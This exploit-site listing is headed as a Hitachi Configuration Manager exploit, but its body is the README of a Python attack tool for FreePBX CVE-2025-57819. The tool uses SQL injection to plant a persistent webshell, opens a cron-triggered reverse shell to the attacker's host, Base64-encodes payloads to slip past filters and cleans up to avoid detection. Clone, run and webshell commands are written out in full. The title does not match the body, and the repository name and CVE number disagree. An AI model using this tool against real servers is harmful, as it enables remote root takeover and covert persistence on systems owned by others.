Exploit for Insertion of Sensitive Information into Log File in Hitachi Configuration Manager

## https://sploitus.com/exploit?id=A8D910FE-2EC7-5AF1-971D-8E2AFF7C739D
# FreePBX CVE-2025-57819 Exploit

## Description
This script exploits a vulnerability in FreePBX versions prior to 16.0.26.0 (CVE-2025-57819), allowing remote attackers to execute arbitrary PHP code via a SQL injection flaw in the AJAX API endpoint. The exploit creates both a webshell and an auto-triggered reverse shell.

## Vulnerability Details
- **CVE**: CVE-2025-57819
- **Affected Versions**: FreePBX < 16.0.26.0
- **Impact**: Remote Code Execution (RCE)
- **Vector**: SQL Injection in AJAX API (`/admin/ajax.php`)

## Features
- Creates a persistent webshell at `/pbxshell.php`
- Sets up an auto-triggered reverse shell via cron job
- Uses Base64-encoded payloads to bypass filters
- Automatic cleanup of cron jobs after execution

## Requirements
- Python 3.x
- `requests` library
- Netcat (for reverse shell listener)

## Installation
```bash
git clone https://github.com/jasonbernier/CVE-2025-5781.git
cd CVE-2025-5781
pip install requests
```

## Usage
```bash
python3 exploit.py -H TARGET_HOST -lhost LHOST -lport LPORT
```

### Parameters:
- `-H HOST`: Target FreePBX instance (e.g., `https://freepbx.example.com`)
- `-lhost LHOST`: Your IP for reverse shell callback
- `-lport LPORT`: Port for reverse shell connection

### Example:
```bash
python3 exploit.py -H https://target.freepbx.com -lhost 10.0.0.1 -lport 4444
```

## Exploit Flow
1. Sends SQL injection payload to create a webshell
2. Waits for webshell to be created (~2 minutes)
3. Creates auto-triggered reverse shell via cron job
4. Starts netcat listener on specified port

## Webshell Usage
After successful exploitation, access the webshell via:
```bash
curl -X GET "http://TARGET/pbxshell.php?cmd=id"
```

## Cleanup
The exploit automatically removes cron jobs after execution to avoid detection.

## Notes
- The script uses `--` to comment out remaining SQL syntax
- All commands are executed with root privileges
- Requires write access to `/var/www/html/` directory

## References
- [CVE-2025-57819](https://vulners.com/cve/CVE-2025-57819)
- [FreePBX Security Advisory](https://www.freepbx.org/security-advisory/)